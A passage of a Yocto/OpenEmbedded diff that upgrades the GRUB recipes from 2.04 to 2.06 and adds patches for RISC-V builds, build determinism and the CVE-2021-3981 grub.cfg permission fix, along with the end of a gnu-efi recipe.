+ file://gnu-efi-3.0.9-fix-clang-build.patch \
+ "
+
+SRC_URI[sha256sum] = "b73b643a0d5697d1f396d7431448e886dd805668789578e3e1a28277c9528435"
+
+COMPATIBLE_HOST = "(x86_64.*|i.86.*|aarch64.*|arm.*)-linux"
+COMPATIBLE_HOST:armv4 = 'null'
+
+do_configure:linux-gnux32:prepend() {
+ cp ${STAGING_INCDIR}/gnu/stubs-x32.h ${STAGING_INCDIR}/gnu/stubs-64.h
+ cp ${STAGING_INCDIR}/bits/long-double-32.h ${STAGING_INCDIR}/bits/long-double-64.h
+}
+
+def gnu_efi_arch(d):
+ import re
+ tarch = d.getVar("TARGET_ARCH")
+ if re.match("i[3456789]86", tarch):
+ return "ia32"
+ return tarch
+
+EXTRA_OEMAKE = "'ARCH=${@gnu_efi_arch(d)}' 'CC=${CC}' 'AS=${AS}' 'LD=${LD}' 'AR=${AR}' \
+ 'RANLIB=${RANLIB}' 'OBJCOPY=${OBJCOPY}' 'PREFIX=${prefix}' 'LIBDIR=${libdir}' \
+ "
+
+# gnu-efi's Makefile treats prefix as toolchain prefix, so don't
+# export it.
+prefix[unexport] = "1"
+
+do_install() {
+ oe_runmake install INSTALLROOT="${D}"
+}
+
+FILES:${PN} += "${libdir}/*.lds"
+
+# 64-bit binaries are expected for EFI when targeting X32
+INSANE_SKIP:${PN}-dev:append:linux-gnux32 = " arch"
+INSANE_SKIP:${PN}-dev:append:linux-muslx32 = " arch"
+
+BBCLASSEXTEND = "native"
+
+# It doesn't support sse, its make.defaults sets:
+# CFLAGS += -mno-mmx -mno-sse
+# So also remove -mfpmath=sse from TUNE_CCARGS
+TUNE_CCARGS:remove = "-mfpmath=sse"
+
+python () {
+ ccargs = d.getVar('TUNE_CCARGS').split()
+ if '-mx32' in ccargs:
+ # use x86_64 EFI ABI
+ ccargs.remove('-mx32')
+ ccargs.append('-m64')
+ d.setVar('TUNE_CCARGS', ' '.join(ccargs))
+}
diff --git a/meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch b/meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch
new file mode 100644
index 0000000000..2f15a91f68
--- /dev/null
+++ b/meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch
@@ -0,0 +1,39 @@
+From e4c41db74b8972285cbdfe614c95c1ffd97d70e1 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 26 Mar 2021 11:59:43 -0700
+Subject: [PATCH] RISC-V: Restore the typcast to 64bit type
+
+this makes the type promotions clear and explicit
+It was already typecasted to long but was accidentally dropped in [1]
+which stated to cause failures on riscv32 as reported in [2]
+
+[1] https://git.savannah.gnu.org/cgit/grub.git/commit/?id=2bf40e9e5be9808b17852e688eead87acff14420
+[2] https://savannah.gnu.org/bugs/index.php?60283
+
+Upstream-Status: Submitted
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Andreas Schwab <schwab@suse.de>
+Cc: Daniel Kiper <daniel.kiper@oracle.com>
+Cc: Chester Lin <clin@suse.com>
+Cc: Nikita Ermakov <arei@altlinux.org>
+Cc: Alistair Francis <alistair.francis@wdc.com>
+---
+ util/grub-mkimagexx.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/util/grub-mkimagexx.c b/util/grub-mkimagexx.c
+index 00f49ccaa..ac677d03d 100644
+--- a/util/grub-mkimagexx.c
++++ b/util/grub-mkimagexx.c
+@@ -1242,7 +1242,7 @@ SUFFIX (relocate_addrs) (Elf_Ehdr *e, struct section_metadata *smd,
+ */
+
+ sym_addr += addend;
+- off = sym_addr - target_section_addr - offset - image_target->vaddr_offset;
++ off = (grub_int64_t)sym_addr - target_section_addr - offset - image_target->vaddr_offset;
+
+ switch (ELF_R_TYPE (info))
+ {
+--
+2.31.1
+
diff --git a/meta/recipes-bsp/grub/files/0001-configure.ac-Use-_zicsr_zifencei-extentions-on-riscv.patch b/meta/recipes-bsp/grub/files/0001-configure.ac-Use-_zicsr_zifencei-extentions-on-riscv.patch
new file mode 100644
index 0000000000..c575a31161
--- /dev/null
+++ b/meta/recipes-bsp/grub/files/0001-configure.ac-Use-_zicsr_zifencei-extentions-on-riscv.patch
@@ -0,0 +1,47 @@
+From f1217c803cec90813eb834dde7829f4961b2a2e4 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 17 Feb 2022 15:07:02 -0800
+Subject: [PATCH] configure.ac: Use _zicsr_zifencei extentions on riscv
+
+From version 2.38, binutils defaults to ISA spec version 20191213. This
+means that the csr read/write (csrr*/csrw*) instructions and fence.i
+instruction has separated from the `I` extension, become two standalone
+extensions: Zicsr and Zifencei.
+
+The fix is to specify those extensions explicitely in -march. Since we
+are now using binutils 2.38+ in OE this is ok, a more upstreamable fix for
+grub will be to detect these extentions, however thats not easy to
+implement
+
+Upstream-Status: Inappropriate [OE specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ configure.ac | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index c7fc55a..072f2c9 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -849,14 +849,14 @@ if test x"$platform" != xemu ; then
+ [grub_cv_target_cc_soft_float="-mgeneral-regs-only"], [])
+ fi
+ if test "x$target_cpu" = xriscv32; then
+- CFLAGS="$TARGET_CFLAGS -march=rv32imac -mabi=ilp32 -Werror"
++ CFLAGS="$TARGET_CFLAGS -march=rv32imac_zicsr_zifencei -mabi=ilp32 -Werror"
+ AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[]], [[]])],
+- [grub_cv_target_cc_soft_float="-march=rv32imac -mabi=ilp32"], [])
++ [grub_cv_target_cc_soft_float="-march=rv32imac_zicsr_zifencei -mabi=ilp32"], [])
+ fi
+ if test "x$target_cpu" = xriscv64; then
+- CFLAGS="$TARGET_CFLAGS -march=rv64imac -mabi=lp64 -Werror"
++ CFLAGS="$TARGET_CFLAGS -march=rv64imac_zicsr_zifencei -mabi=lp64 -Werror"
+ AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[]], [[]])],
+- [grub_cv_target_cc_soft_float="-march=rv64imac -mabi=lp64"], [])
++ [grub_cv_target_cc_soft_float="-march=rv64imac_zicsr_zifencei -mabi=lp64"], [])
+ fi
+ if test "x$target_cpu" = xia64; then
+ CFLAGS="$TARGET_CFLAGS -mno-inline-float-divide -mno-inline-sqrt -Werror"
+--
+2.35.1
+
diff --git a/meta/recipes-bsp/grub/files/CVE-2021-3981-grub-mkconfig-Restore-umask-for-the-grub.cfg.patch b/meta/recipes-bsp/grub/files/CVE-2021-3981-grub-mkconfig-Restore-umask-for-the-grub.cfg.patch
new file mode 100644
index 0000000000..dae26fd8bb
--- /dev/null
+++ b/meta/recipes-bsp/grub/files/CVE-2021-3981-grub-mkconfig-Restore-umask-for-the-grub.cfg.patch
@@ -0,0 +1,49 @@
+From 0adec29674561034771c13e446069b41ef41e4d4 Mon Sep 17 00:00:00 2001
+From: Michael Chang <mchang@suse.com>
+Date: Fri, 3 Dec 2021 16:13:28 +0800
+Subject: [PATCH] grub-mkconfig: Restore umask for the grub.cfg
+
+The commit ab2e53c8a (grub-mkconfig: Honor a symlink when generating
+configuration by grub-mkconfig) has inadvertently discarded umask for
+creating grub.cfg in the process of running grub-mkconfig. The resulting
+wrong permission (0644) would allow unprivileged users to read GRUB
+configuration file content. This presents a low confidentiality risk
+as grub.cfg may contain non-secured plain-text passwords.
+
+This patch restores the missing umask and sets the creation file mode
+to 0600 preventing unprivileged access.
+
+Fixes: CVE-2021-3981
+
+Signed-off-by: Michael Chang <mchang@suse.com>
+Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
+
+Upstream-Status: Backport
+CVE: CVE-2021-3981
+
+Reference to upstream patch:
+https://git.savannah.gnu.org/cgit/grub.git/commit/?id=0adec29674561034771c13e446069b41ef41e4d4
+
+Signed-off-by: Yongxin Liu <yongxin.liu@windriver.com>
+---
+ util/grub-mkconfig.in | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/util/grub-mkconfig.in b/util/grub-mkconfig.in
+index c3ea7612e..62335d027 100644
+--- a/util/grub-mkconfig.in
++++ b/util/grub-mkconfig.in
+@@ -301,7 +301,10 @@ and /etc/grub.d/* files or please file a bug report with
+ exit 1
+ else
+ # none of the children aborted with error, install the new grub.cfg
++ oldumask=$(umask)
++ umask 077
+ cat ${grub_cfg}.new > ${grub_cfg}
++ umask $oldumask
+ rm -f ${grub_cfg}.new
+ fi
+ fi
+--
+2.31.1
+
diff --git a/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch b/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch
index faa7fde232..1323a54a59 100644
--- a/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch
+++ b/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch
@@ -1,6 +1,6 @@
-From 72c30928d3d461e0e2d20c5ff33bd96b6991d585 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Sat, 25 Jan 2014 23:49:44 -0500
+From 8790aa8bea736f52341a0430ff3e317d3be0f99b Mon Sep 17 00:00:00 2001
+From: Naveen Saini <naveen.kumar.saini@intel.com>
+Date: Mon, 15 Mar 2021 14:44:15 +0800
Subject: [PATCH] autogen.sh: exclude .pc from po/POTFILES.in
Exclude the .pc from po/POTFILES.in since quilt uses "patch --backup",
@@ -13,23 +13,24 @@ Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+Signed-off-by: Naveen Saini <naveen.kumar.saini@intel.com>
---
autogen.sh | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/autogen.sh b/autogen.sh
-index ef43270..a7067a7 100755
+index 31b0ced7e..c63ae766c 100755
--- a/autogen.sh
+++ b/autogen.sh
@@ -13,7 +13,7 @@ fi
export LC_COLLATE=C
unset LC_ALL
--find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -iname './grub-core/lib/gnulib/*' |sort > po/POTFILES.in
-+find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -iname './grub-core/lib/gnulib/*' ! -path './.pc/*' |sort > po/POTFILES.in
+-find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -ipath './grub-core/lib/gnulib/*' |sort > po/POTFILES.in
++find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -ipath './grub-core/lib/gnulib/*' ! -path './.pc/*' |sort > po/POTFILES.in
find util -iname '*.in' ! -name Makefile.in |sort > po/POTFILES-shell.in
echo "Importing unicode..."
--
-2.7.4
+2.17.1
diff --git a/meta/recipes-bsp/grub/files/determinism.patch b/meta/recipes-bsp/grub/files/determinism.patch
new file mode 100644
index 0000000000..2828e80975
--- /dev/null
+++ b/meta/recipes-bsp/grub/files/determinism.patch
@@ -0,0 +1,68 @@
+From b6f9b3f6fa782807c4a7ec16ee8ef868cdfbf468 Mon Sep 17 00:00:00 2001
+From: Naveen Saini <naveen.kumar.saini@intel.com>
+Date: Mon, 15 Mar 2021 14:56:18 +0800
+Subject: [PATCH] The output in moddep.lst generated from syminfo.lst using
+ genmoddep.awk is not deterministic since the order of the dependencies on
+ each line can vary depending on how awk sorts the values in the array.
+
+Be deterministic in the output by sorting the dependencies on each line.
+
+Also, the output of the SOURCES lines in grub-core/Makefile.core.am, generated
+from grub-core/Makefile.core.def with gentpl.py is not deterministic due to
+missing sorting of the list used to generate it. Add such a sort.
+
+Also ensure the generated unidata.c file is deterministic by sorting the
+keys of the dict.
+
+Upstream-Status: Pending
+Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Naveen Saini <naveen.kumar.saini@intel.com>
+---
+ gentpl.py | 1 +
+ grub-core/genmoddep.awk | 4 +++-
+ util/import_unicode.py | 2 +-
+ 3 files changed, 5 insertions(+), 2 deletions(-)
+
+diff --git a/gentpl.py b/gentpl.py
+index c86550d4f..589285192 100644
+--- a/gentpl.py
++++ b/gentpl.py
+@@ -568,6 +568,7 @@ def foreach_platform_value(defn, platform, suffix, closure):
+ for group in RMAP[platform]:
+ for value in defn.find_all(group + suffix):
+ r.append(closure(value))
++ r.sort()
+ return ''.join(r)
+
+ def platform_conditional(platform, closure):
+diff --git a/grub-core/genmoddep.awk b/grub-core/genmoddep.awk
+index 04c2863e5..247436392 100644
+--- a/grub-core/genmoddep.awk
++++ b/grub-core/genmoddep.awk
+@@ -59,7 +59,9 @@ END {
+ }
+ modlist = ""
+ depcount[mod] = 0
+- for (depmod in uniqmods) {
++ n = asorti(uniqmods, w)
++ for (i = 1; i <= n; i++) {
++ depmod = w[i]
+ modlist = modlist " " depmod;
+ inverse_dependencies[depmod] = inverse_dependencies[depmod] " " mod
+ depcount[mod]++
+diff --git a/util/import_unicode.py b/util/import_unicode.py
+index 08f80591e..1f434a069 100644
+--- a/util/import_unicode.py
++++ b/util/import_unicode.py
+@@ -174,7 +174,7 @@ infile.close ()
+
+ outfile.write ("struct grub_unicode_arabic_shape grub_unicode_arabic_shapes[] = {\n ")
+
+-for x in arabicsubst:
++for x in sorted(arabicsubst):
+ try:
+ if arabicsubst[x]['join'] == "DUAL":
+ outfile.write ("{0x%x, 0x%x, 0x%x, 0x%x, 0x%x},\n " % (arabicsubst[x][0], arabicsubst[x][1], arabicsubst[x][2], arabicsubst[x][3], arabicsubst[x][4]))
+--
+2.17.1
+
diff --git a/meta/recipes-bsp/grub/grub-bootconf_1.00.bb b/meta/recipes-bsp/grub/grub-bootconf_1.00.bb
index 572580313b..783e30bf38 100644
--- a/meta/recipes-bsp/grub/grub-bootconf_1.00.bb
+++ b/meta/recipes-bsp/grub/grub-bootconf_1.00.bb
@@ -5,7 +5,7 @@ DESCRIPTION = "Grub might require different configuration file for \
different machines."
HOMEPAGE = "https://www.gnu.org/software/grub/manual/grub/grub.html#Configuration"
-RPROVIDES_${PN} += "virtual/grub-bootconf"
+RPROVIDES:${PN} += "virtual-grub-bootconf"
inherit grub-efi-cfg
@@ -29,4 +29,4 @@ do_install() {
install grub-bootconf ${D}${EFI_FILES_PATH}/grub.cfg
}
-FILES_${PN} = "${EFI_FILES_PATH}/grub.cfg"
+FILES:${PN} = "${EFI_FILES_PATH}/grub.cfg"
diff --git a/meta/recipes-bsp/grub/grub-efi_2.04.bb b/meta/recipes-bsp/grub/grub-efi_2.04.bb
deleted file mode 100644
index b9d6225d27..0000000000
--- a/meta/recipes-bsp/grub/grub-efi_2.04.bb
+++ /dev/null
@@ -1,109 +0,0 @@
-require grub2.inc
-
-require conf/image-uefi.conf
-
-GRUBPLATFORM = "efi"
-
-DEPENDS_append_class-target = " grub-efi-native"
-RDEPENDS_${PN}_class-target = "grub-common virtual/grub-bootconf"
-
-SRC_URI += " \
- file://cfg \
- "
-
-S = "${WORKDIR}/grub-${PV}"
-
-# Determine the target arch for the grub modules
-python __anonymous () {
- import re
- target = d.getVar('TARGET_ARCH')
- prefix = "" if d.getVar('EFI_PROVIDER') == "grub-efi" else "grub-efi-"
- if target == "x86_64":
- grubtarget = 'x86_64'
- elif re.match('i.86', target):
- grubtarget = 'i386'
- elif re.match('aarch64', target):
- grubtarget = 'arm64'
- elif re.match('arm', target):
- grubtarget = 'arm'
- else:
- raise bb.parse.SkipRecipe("grub-efi is incompatible with target %s" % target)
- grubimage = prefix + d.getVar("EFI_BOOT_IMAGE")
- d.setVar("GRUB_TARGET", grubtarget)
- d.setVar("GRUB_IMAGE", grubimage)
- prefix = "grub-efi-" if prefix == "" else ""
- d.setVar("GRUB_IMAGE_PREFIX", prefix)
-}
-
-inherit deploy
-
-CACHED_CONFIGUREVARS += "ac_cv_path_HELP2MAN="
-EXTRA_OECONF += "--enable-efiemu=no"
-
-do_mkimage() {
- cd ${B}
- # Search for the grub.cfg on the local boot media by using the
- # built in cfg file provided via this recipe
- grub-mkimage -c ../cfg -p ${EFIDIR} -d ./grub-core/ \
- -O ${GRUB_TARGET}-efi -o ./${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} \
- ${GRUB_BUILDIN}
-}
-
-addtask mkimage before do_install after do_compile
-
-do_mkimage_class-native() {
- :
-}
-
-do_install_append_class-target() {
- install -d ${D}${EFI_FILES_PATH}
- install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${D}${EFI_FILES_PATH}/${GRUB_IMAGE}
-}
-
-do_install_class-native() {
- install -d ${D}${bindir}
- install -m 755 grub-mkimage ${D}${bindir}
- install -m 755 grub-editenv ${D}${bindir}
-}
-
-do_install_class-target() {
- oe_runmake 'DESTDIR=${D}' -C grub-core install
-
- # Remove build host references...
- find "${D}" -name modinfo.sh -type f -exec \
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- {} +
-}
-
-do_install_append_aarch64() {
- rm -rf ${D}/${prefix}/
-}
-
-GRUB_BUILDIN ?= "boot linux ext2 fat serial part_msdos part_gpt normal \
- efi_gop iso9660 configfile search loadenv test"
-
-do_deploy() {
- install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${DEPLOYDIR}
-}
-
-do_deploy_class-native() {
- :
-}
-
-addtask deploy after do_install before do_build
-
-FILES_${PN} = "${libdir}/grub/${GRUB_TARGET}-efi \
- ${datadir}/grub \
- ${EFI_FILES_PATH}/${GRUB_IMAGE} \
- "
-
-FILES_${PN}_remove_aarch64 = "${libdir}/grub/${GRUB_TARGET}-efi"
-
-# 64-bit binaries are expected for the bootloader with an x32 userland
-INSANE_SKIP_${PN}_append_linux-gnux32 = " arch"
-INSANE_SKIP_${PN}-dbg_append_linux-gnux32 = " arch"
-INSANE_SKIP_${PN}_append_linux-muslx32 = " arch"
-INSANE_SKIP_${PN}-dbg_append_linux-muslx32 = " arch"
diff --git a/meta/recipes-bsp/grub/grub-efi_2.06.bb b/meta/recipes-bsp/grub/grub-efi_2.06.bb
new file mode 100644
index 0000000000..9857e8e036
--- /dev/null
+++ b/meta/recipes-bsp/grub/grub-efi_2.06.bb
@@ -0,0 +1,105 @@
+require grub2.inc
+
+require conf/image-uefi.conf
+
+GRUBPLATFORM = "efi"
+
+DEPENDS:append = " grub-native"
+RDEPENDS:${PN} = "grub-common virtual-grub-bootconf"
+
+SRC_URI += " \
+ file://cfg \
+ "
+
+S = "${WORKDIR}/grub-${PV}"
+
+# Determine the target arch for the grub modules
+python __anonymous () {
+ import re
+ target = d.getVar('TARGET_ARCH')
+ prefix = "" if d.getVar('EFI_PROVIDER') == "grub-efi" else "grub-efi-"
+ if target == "x86_64":
+ grubtarget = 'x86_64'
+ elif re.match('i.86', target):
+ grubtarget = 'i386'
+ elif re.match('aarch64', target):
+ grubtarget = 'arm64'
+ elif re.match('arm', target):
+ grubtarget = 'arm'
+ elif re.match('riscv64', target):
+ grubtarget = 'riscv64'
+ elif re.match('riscv32', target):
+ grubtarget = 'riscv32'
+ else:
+ raise bb.parse.SkipRecipe("grub-efi is incompatible with target %s" % target)
+ grubimage = prefix + d.getVar("EFI_BOOT_IMAGE")
+ d.setVar("GRUB_TARGET", grubtarget)
+ d.setVar("GRUB_IMAGE", grubimage)
+ prefix = "grub-efi-" if prefix == "" else ""
+ d.setVar("GRUB_IMAGE_PREFIX", prefix)
+}
+
+inherit deploy
+
+CACHED_CONFIGUREVARS += "ac_cv_path_HELP2MAN="
+EXTRA_OECONF += "--enable-efiemu=no"
+
+do_mkimage() {
+ cd ${B}
+
+ GRUB_MKIMAGE_MODULES="${GRUB_BUILDIN}"
+
+ # If 'all' is included in GRUB_BUILDIN we will include all available grub2 modules
+ if [ "${@ bb.utils.contains('GRUB_BUILDIN', 'all', 'True', 'False', d)}" = "True" ]; then
+ bbdebug 1 "Including all available modules"
+ # Get the list of all .mod files in grub-core build directory
+ GRUB_MKIMAGE_MODULES=$(find ${B}/grub-core/ -type f -name "*.mod" -exec basename {} .mod \;)
+ fi
+
+ # Search for the grub.cfg on the local boot media by using the
+ # built in cfg file provided via this recipe
+ grub-mkimage -v -c ../cfg -p ${EFIDIR} -d ./grub-core/ \
+ -O ${GRUB_TARGET}-efi -o ./${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} \
+ ${GRUB_MKIMAGE_MODULES}
+}
+
+addtask mkimage before do_install after do_compile
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' -C grub-core install
+
+ # Remove build host references...
+ find "${D}" -name modinfo.sh -type f -exec \
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ {} +
+
+ install -d ${D}${EFI_FILES_PATH}
+ install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${D}${EFI_FILES_PATH}/${GRUB_IMAGE}
+}
+
+# To include all available modules, add 'all' to GRUB_BUILDIN
+GRUB_BUILDIN ?= "boot linux ext2 fat serial part_msdos part_gpt normal \
+ efi_gop iso9660 configfile search loadenv test"
+
+# 'xen_boot' is a module valid only for aarch64
+GRUB_BUILDIN:append:aarch64 = "${@bb.utils.contains('DISTRO_FEATURES', 'xen', ' xen_boot', '', d)}"
+
+do_deploy() {
+ install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${DEPLOYDIR}
+}
+
+addtask deploy after do_install before do_build
+
+FILES:${PN} = "${libdir}/grub/${GRUB_TARGET}-efi \
+ ${datadir}/grub \
+ ${EFI_FILES_PATH}/${GRUB_IMAGE} \
+ "
+
+# 64-bit binaries are expected for the bootloader with an x32 userland
+INSANE_SKIP:${PN}:append:linux-gnux32 = " arch"
+INSANE_SKIP:${PN}-dbg:append:linux-gnux32 = " arch"
+INSANE_SKIP:${PN}:append:linux-muslx32 = " arch"
+INSANE_SKIP:${PN}-dbg:append:linux-muslx32 = " arch"
diff --git a/meta/recipes-bsp/grub/grub2.inc b/meta/recipes-bsp/grub/grub2.inc
index c81def2a17..ba0596c938 100644
--- a/meta/recipes-bsp/grub/grub2.inc
+++ b/meta/recipes-bsp/grub/grub2.inc
@@ -8,32 +8,45 @@ standard, which allows for flexible loading of multiple boot images."
HOMEPAGE = "http://www.gnu.org/software/grub/"
SECTION = "bootloaders"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+CVE_PRODUCT = "grub2"
+
SRC_URI = "${GNU_MIRROR}/grub/grub-${PV}.tar.gz \
file://0001-Disable-mfpmath-sse-as-well-when-SSE-is-disabled.patch \
file://autogen.sh-exclude-pc.patch \
file://grub-module-explicitly-keeps-symbole-.module_license.patch \
file://0001-grub.d-10_linux.in-add-oe-s-kernel-name.patch \
+ file://determinism.patch \
+ file://0001-RISC-V-Restore-the-typcast-to-long.patch \
+ file://CVE-2021-3981-grub-mkconfig-Restore-umask-for-the-grub.cfg.patch \
+ file://0001-configure.ac-Use-_zicsr_zifencei-extentions-on-riscv.patch \
"
-SRC_URI[md5sum] = "5ce674ca6b2612d8939b9e6abed32934"
-SRC_URI[sha256sum] = "f10c85ae3e204dbaec39ae22fa3c5e99f0665417e91c2cb49b7e5031658ba6ea"
+
+SRC_URI[sha256sum] = "23b64b4c741569f9426ed2e3d0e6780796fca081bee4c99f62aa3f53ae803f5f"
+
+# Applies only to RHEL
+CVE_CHECK_IGNORE += "CVE-2019-14865"
DEPENDS = "flex-native bison-native gettext-native"
-COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*)-(linux.*|freebsd.*)'
-COMPATIBLE_HOST_armv7a = 'null'
-COMPATIBLE_HOST_armv7ve = 'null'
+COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|riscv.*)-(linux.*|freebsd.*)'
+COMPATIBLE_HOST:armv7a = 'null'
+COMPATIBLE_HOST:armv7ve = 'null'
# configure.ac has code to set this automagically from the target tuple
# but the OE freeform one (core2-foo-bar-linux) don't work with that.
-GRUBPLATFORM_arm = "efi"
-GRUBPLATFORM_aarch64 = "efi"
+GRUBPLATFORM:arm = "efi"
+GRUBPLATFORM:aarch64 = "efi"
+GRUBPLATFORM:riscv32 = "efi"
+GRUBPLATFORM:riscv64 = "efi"
GRUBPLATFORM ??= "pc"
-inherit autotools gettext texinfo
+inherit autotools gettext texinfo pkgconfig
+
+CFLAGS:remove = "-O2"
EXTRA_OECONF = "--with-platform=${GRUBPLATFORM} \
--disable-grub-mkfont \
@@ -59,11 +72,8 @@ BUILD_LDFLAGS = ""
export PYTHON = "python3"
-do_configure_prepend() {
- ( cd ${S}
- ${S}/autogen.sh )
+do_configure:prepend() {
+ cd ${S}
+ FROM_BOOTSTRAP=1 ${S}/autogen.sh
+ cd ${B}
}
-
-RDEPENDS_${PN}_class-native = ""
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-bsp/grub/grub_2.04.bb b/meta/recipes-bsp/grub/grub_2.04.bb
deleted file mode 100644
index 9232ea8120..0000000000
--- a/meta/recipes-bsp/grub/grub_2.04.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-require grub2.inc
-
-RDEPENDS_${PN}-common += "${PN}-editenv"
-RDEPENDS_${PN} += "${PN}-common"
-
-RPROVIDES_${PN}-editenv += "${PN}-efi-editenv"
-
-PACKAGES =+ "${PN}-editenv ${PN}-common"
-FILES_${PN}-editenv = "${bindir}/grub-editenv"
-FILES_${PN}-common = " \
- ${bindir} \
- ${sysconfdir} \
- ${sbindir} \
- ${datadir}/grub \
-"
-
-FILES_${PN}-common_append_aarch64 = " \
- ${libdir}/${BPN} \
-"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/grub.d
- # Remove build host references...
- find "${D}" -name modinfo.sh -type f -exec \
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- {} +
-}
-
-INSANE_SKIP_${PN} = "arch"
-INSANE_SKIP_${PN}-dbg = "arch"
diff --git a/meta/recipes-bsp/grub/grub_2.06.bb b/meta/recipes-bsp/grub/grub_2.06.bb
new file mode 100644
index 0000000000..05d462785c
--- /dev/null
+++ b/meta/recipes-bsp/grub/grub_2.06.bb
@@ -0,0 +1,41 @@
+require grub2.inc
+
+RDEPENDS:${PN}-common += "${PN}-editenv"
+RDEPENDS:${PN} += "${PN}-common"
+RDEPENDS:${PN}:class-native = ""
+
+RPROVIDES:${PN}-editenv += "${PN}-efi-editenv"
+
+PROVIDES:append:class-native = " grub-efi-native"
+
+PACKAGES =+ "${PN}-editenv ${PN}-common"
+FILES:${PN}-editenv = "${bindir}/grub-editenv"
+FILES:${PN}-common = " \
+ ${bindir} \
+ ${sysconfdir} \
+ ${sbindir} \
+ ${datadir}/grub \
+"
+ALLOW_EMPTY:${PN} = "1"
+
+do_install:append () {
+ # Avoid conflicts with the EFI package for systems such as arm64 where we
+ # need to build grub and grub-efi but only EFI is supported by removing EFI
+ # from this package.
+ rm -rf ${D}${libdir}/grub/*-efi/
+ rmdir --ignore-fail-on-non-empty ${D}${libdir}/grub ${D}${libdir}
+
+ install -d ${D}${sysconfdir}/grub.d
+ # Remove build host references...
+ find "${D}" -name modinfo.sh -type f -exec \
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ {} +
+}
+
+INSANE_SKIP:${PN} = "arch"
+INSANE_SKIP:${PN}-dbg = "arch"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-bsp/keymaps/keymaps_1.0.bb b/meta/recipes-bsp/keymaps/keymaps_1.0.bb
index 24b13f920f..020328b3ca 100644
--- a/meta/recipes-bsp/keymaps/keymaps_1.0.bb
+++ b/meta/recipes-bsp/keymaps/keymaps_1.0.bb
